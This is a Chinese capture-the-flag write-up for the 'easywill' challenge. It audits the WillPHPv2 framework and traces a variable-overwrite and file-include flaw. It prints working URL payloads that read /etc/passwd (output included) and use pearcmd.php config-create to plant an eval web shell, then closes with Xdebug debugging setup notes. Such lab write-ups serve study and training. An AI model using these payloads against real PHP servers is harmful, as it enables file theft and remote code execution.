IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 1.easywill代码审计 -> 正文阅读

[PHP知识库]1.easywill代码审计

时间戳——2021.12.12

请添加图片描述

0x01 WP:

一、框架调试

第一步:登录buuctf,打开[HXBCTF 2021]easywill题目的容器环境
在这里插入图片描述
第二步:进入打开的的题目连接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html没有提示,也没有www.zip和robots.txt,但是很明显发现这个是WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试)
在这里插入图片描述
第三步:点击开发手册,发现assign函数的功能
在这里插入图片描述
第四步:点击下载新版本,下载下来,放到本地环境中
在这里插入图片描述
在这里插入图片描述
第五步(可以不要):在app\controller\IndexController.php里面添加如下内容,尽量还原题目,就是给一个提示
在这里插入图片描述
在这里插入图片描述
第六步:开始在PHPSTORM调试
1、设置断点,传入参数
设置断点传入参数的方法:
请添加图片描述
传入参数的姿势:
在这里插入图片描述
传入参数的结果:
在这里插入图片描述
2、键入F7,步入:很明显,这个是把value参数的值赋值给name参数,根前面手册的功能对应了
在这里插入图片描述

3、在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键
在这里插入图片描述
4、最终在Template.php页面,发现了**【变量覆盖+文件包含】构成的【任意文件读取漏洞】**
extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数值里的键与已存在的变量同名,则覆盖已有变量。所以我们传入键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。
在这里插入图片描述
5、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。
所以传入右边的参数,利用文件包含读取文件:

index.php?name=cfile&value=/etc/passwd

在这里插入图片描述

也可以传入右边的参数,利用文件包含读取文件的源码:

index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd

在这里插入图片描述
解码内容:
root?0:0:root:/root:/bin/ash
bin?1:1:bin:/bin:/sbin/nologin
daemon?2:2:daemon:/sbin:/sbin/nologin
adm?3:4:adm:/var/adm:/sbin/nologin
lp?4:7:lp:/var/spool/lpd:/sbin/nologin
sync?5:0:sync:/sbin:/bin/sync
shutdown?6:0:shutdown:/sbin:/sbin/shutdown
halt?7:0:halt:/sbin:/sbin/halt
mail?8:12:mail:/var/spool/mail:/sbin/nologin
news?9:13:news:/usr/lib/news:/sbin/nologin
uucp?10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator?11:0:operator:/root:/sbin/nologin
man?13:15👨/usr/man:/sbin/nologin
postmaster?14:12:postmaster:/var/spool/mail:/sbin/nologin
cron?16:16:cron:/var/spool/cron:/sbin/nologin
ftp?21:21::/var/lib/ftp:/sbin/nologin
sshd?22:22:sshd:/dev/null:/sbin/nologin
at?25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid?31:31:Squid:/var/cache/squid:/sbin/nologin
xfs?33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games?35:35:games:/usr/games:/sbin/nologin
postgres?70:70::/var/lib/postgresql:/bin/sh
cyrus?85:12::/usr/cyrus:/sbin/nologin
vpopmail?89:89::/var/vpopmail:/sbin/nologin
ntp?123:123:NTP:/var/empty:/sbin/nologin
smmsp?209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest?405💯guest:/dev/null:/sbin/nologin
nobody?65534:65534:nobody:/:/sbin/nologin
www-data?82:82:Linux User,:/home/www-data:/sbin/nologin
nginx?100:101:nginx:/var/lib/nginx:/sbin/nologin

二、pearcmd裸文件包含

1、docker默认安装pear/pecl,在linux中一切皆文件,虽然他们两个是管理php扩展仓库的命令工具,我们也可以通过文件来执行。
2、pearcmd.php默认安装在/usr/loca/lib/php目录下
3、pearcmd.php有一个参数config-create可以创建一个配置文件

/usr/loca/lib/php/pearcmd.php config-create /aaaaa /tmp/test.php

4、由于pearcmd命令读取参数的时候,可以从 a r g 或 arg或 arg中读取
payload:

?+config-create+/&name=cfile&value=/usr/loca/lib/php/pearcmd.php&/<?=eval($_POST[c]);?>+/tmp/test.php

整理:

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[c]);?>+/tmp/shell.php

附:怎么配置phpstorm+phpstudy+xdebug远程调试

注意:配置一个假的远程调试,我们就把源码放到本机(也就是127.0.0.1)的网站根目录WWW下的exp/willphpv2目录下


第一步:访问https://xdebug.org/wizard,把phpinfo的内容贴进去,会返回我们可以使用的对应版本的xdebug
第二步:访问https://xdebug.org/download/historical,下载对应版本的xdebug(比如5.6.27版本的php对应的xdebug文件是php_xdebug-2.5.5-5.6-vc11-nts.dll)
第三步:把我们下载的xdebug文件放入,相应php版本的ext目录下,也就是放到该目录下L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext
第四步:打开phpstudy的php相应版本的php.ini配置文件,在最后输入以下内容:
[XDebug]
zend_extension="L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug-2.5.5-5.6-vc11-nts.dll"
xdebug.remote_enable = On
xdebug.remote_handler = dbgp
xdebug.remote_host= 127.0.0.1
xdebug.remote_port = 9264
xdebug.idekey = qwsn
xdebug.profiler_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
第五步:配置phpstorm的Debug/DBGp/Servers
点击file->点击settings->点击languages & frameworks->点击PHP->修改CLI Interpreter为PHP5.6.27版本
接着点击Debug->填入Debug port:9264(这个端口与php.ini里的端口对应)
接着点击DBGp Proxy->填入IDE Key:qwsn(这里与php.ini里的key对应)->填入Host:127.0.0.1(这里与php.ini里的对应)->填入Port:9264(与php.ini里的对应)
接着点击Servers->点击+添加->填入Name:local_server(只是一个服务器名字,随便填写)->填入Host![在这里插入图片描述](https://img-blog.csdnimg.cn/bae48e3e785042c6b81c999e7a57d0f9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
:127.0.0.1(这里填的是本地phpstudy的服务器IP)->填入Port:80(注意,这个是本地phpstudy网站的默认端口)->Debugger选择Xdebug
最后依次点击->apply->ok
第六步:配置一个PHP Web Page
点击run->点击edit configurations->点击左上角的+号->选择PHP Web Page
->填入名字willphpv2(随便)->Server选择刚刚配置的local_server->Start URL选择我们网站根目录下的/exp/willphpv2/(因为我把willphpv2源码放到了网站根目录下的exp/willphpv2里面)
->依次点击apply和ok
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-14 15:43:57  更:2021-12-14 15:44:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 20:25:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计